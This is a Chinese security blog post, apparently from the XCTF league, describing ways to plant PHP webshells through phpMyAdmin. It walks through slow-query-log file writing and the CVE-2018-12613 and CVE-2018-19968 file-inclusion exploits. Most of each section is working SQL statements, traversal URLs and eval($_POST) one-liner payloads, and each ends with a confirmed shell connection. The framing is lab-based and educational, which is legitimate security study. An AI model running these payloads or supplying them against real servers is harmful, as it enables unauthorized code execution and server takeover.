技术分享丨phpMyAdmin 常见写入webshell的方法(二)

  XCTF联赛小秘       2020-09-29 13:36:46 644  0

在上期我们讲了

通过select into outfile 语句、

创建数据库和表、全局日志写入webshell

本期会为大家带来

通过慢查询日志、CVE-2018-12613 、

CVE-2018-19968 phpmyadmin文件

包含写入webshell



四. 使用慢日志查询getshell


慢查询日志:记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据 库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上 的语句是慢查询语句。


(一)利用条件

  • Root数据库用户(root权限)

  • 网站绝对路径(确定有写入权限)

  • secure_file_priv没有具体值


(二)操作步骤:

1、 查看慢查询日志的配置:

show variables like '%slow%';




2、开启慢查询日志,修改日志文件绝对路径及文件名:
set GLOBAL slow_query_log=on;set global slow_query_log_file = 'E:/phpstudy_pro/WWW/1.php';

再次查看日志路径,看到已经被成功修改了


3、执行sql命令,写webshell进日志文件  注意我们执行的sql语句有一个sleep的延时时间,我这里设置为11s,为什么要加这个延时呢,是因为通过慢查询日志的方法去写入一句话木马到日志文件,尽量设置高一点的延时。
select '<?php @eval($_POST["admin"]);?> ' or sleep(11);

打开蚁剑测试,webshell 是否写入成功:



五. CVE-2018-12613 phpmyadmin文件包含getshell


影响版本:Phpmyadmin 4.8.0/4.8.0.1/4.8.1

漏洞验证利用,读取本的文件:
http://127.0.0.1/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/WWW/1.txt
成功读取到文件。


利用此漏洞执行phpinfo
(一)把phpinfo写入到数据库中然后包含数据库文件phpinfo,如果把phpinfo当做数据表的字段值是可以完美的写入到数据库文件当中的
创建完成结果如下:


(二)然后我们需要找到数据库表的文件
show variables like 'datadir' 或 SELECT @@datadir

(三)文件的路径就是:data路径+数据库名/表名.frm ,然后包含它就可以,成功包含执行phpinfo
/index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test1.frm

利用此漏洞执行getshell
1、插入数据表getshell
思考过程:以上所说的都是执行的phpinfo,无法用蚁剑等工具直接连接shell,所以就想利用文件包含直接生成一个webshell,所以有了以下想法
1)我们插入字段的时候,插入这样一句话,包含之后会在当前目录生成一个a.php的webshell
<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>

可以看到,执行成功

2)接着上面的,包含test1.frm文件,包含完成,没有任何报错

3)接着去看一下是否真的能生成一句话在当前目录,可以看到的确生成了,并且时间是刚刚

4)然后直接利用蚁剑连接,ok思路可行,getshell成功

2、利用session文件getshell
phpmyadmin是默认会把执行的语句,记录在session文件当中的,所以可以包含session文件进行getshell
1)首先利用上面得到的phpinfo,查看session文件存放的路径,搜索:save_path,看到是在tmp/tmp目录下

2)执行sql语句,语句为生成一句话木马的语句
SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?> `; #注意为反引号

3)session可以在cookie中找到,例如google的,或者burp抓包都行

4)然后利用漏洞直接包含session文件,文件名:sess_你的session
index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_a5gbrbj1rr01lpqpi6mkecc1ti1ar692

5)然后看当前目录是否生成一句话木马,可以看到又成功生成了,时间是刚刚的

6)利用蚁剑连接:成功!

六. CVE-2018-19968 phpmyadmin文件包含getshell

环境搭建:在线环境VulnSpy已为大家提供在线phpMyAdmin环境地址:https : //www.vsplate.com/?github = vulnspy/phpmyadmin-4.8.1,单击又上角的START TO HACK按钮可进行在线测试。也可以选择自行到phpmyadmin官网下载对应版本。

利用条件:攻击者必须能够访问phpMyAdmin配置存储表,尽管可以在攻击者访问的任何数据库中轻松创建这些表。但攻击者必须拥有有效的凭据才能登录phpMyAdmin,所以此漏洞不允许攻击者绕过登录系统。

漏洞细节:2018年12月07日 phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本,CVE编号CVE-2018-19968。

Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。

通常情况下Transformation的规则存储在每个数据库的pmacolumn_info 表中,而在phpMyAdmin 4.0.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。在tbl_replace.php文件中拼接到$filename的变量filename的变量mime_map$column_name来自于数据表pmacolumn_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。

利用步骤:

1、首先登陆进后台,这里默认是root,toor


2、漏洞利用思路

创建数据库,并将PHP代码写入SESSION文件中

CREATE DATABASE foo;CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

访问http://target/com/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表。


将篡改后的Transformation数据插入表pma_columninfo中将sess中的替换成你的会话ID,即COOKIE中phpMyAdmin的值,抓包查看session id,如下


INSERT INTO pma__column_info SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_***','plop';


#将sess_中的替换成你的会话ID,即COOKIE中phpMyAdmin的值


然后访问

http://target.com/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

就能自动包含刚才插入数据库表的恶意代码


sessionID文件常见路径:在Linux下,常见的文件路径为:/var/lib/php/session/或/tmp/ 在Windows下:默认为c:/windows/temp/ phpstudy集成软件环境下,文件路径为:/phpstudy/PHPTutorial/tmp/tmp/ Wamp集成软件环境下,文件路径为:/wamp64/tmp/ 因为环境搭建方式的不同,session文件的路径也会不同(通过修改php.ini中的session.save_path值可以改变session的保存路径),并且对于攻击者session文件的绝对路径也是不能直接获取到的,只能靠常见路径或猜路径去利用。


天虞实验室正式成立于2020年6月,是赛宁网安旗下以攻防技术研究为目标的安全团队,目前拥有20位专业的安全研究员,专注于渗透测试、安全开发、IOT安全、工控安全等方面。

请先登录
+1 已点过赞
0
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (0)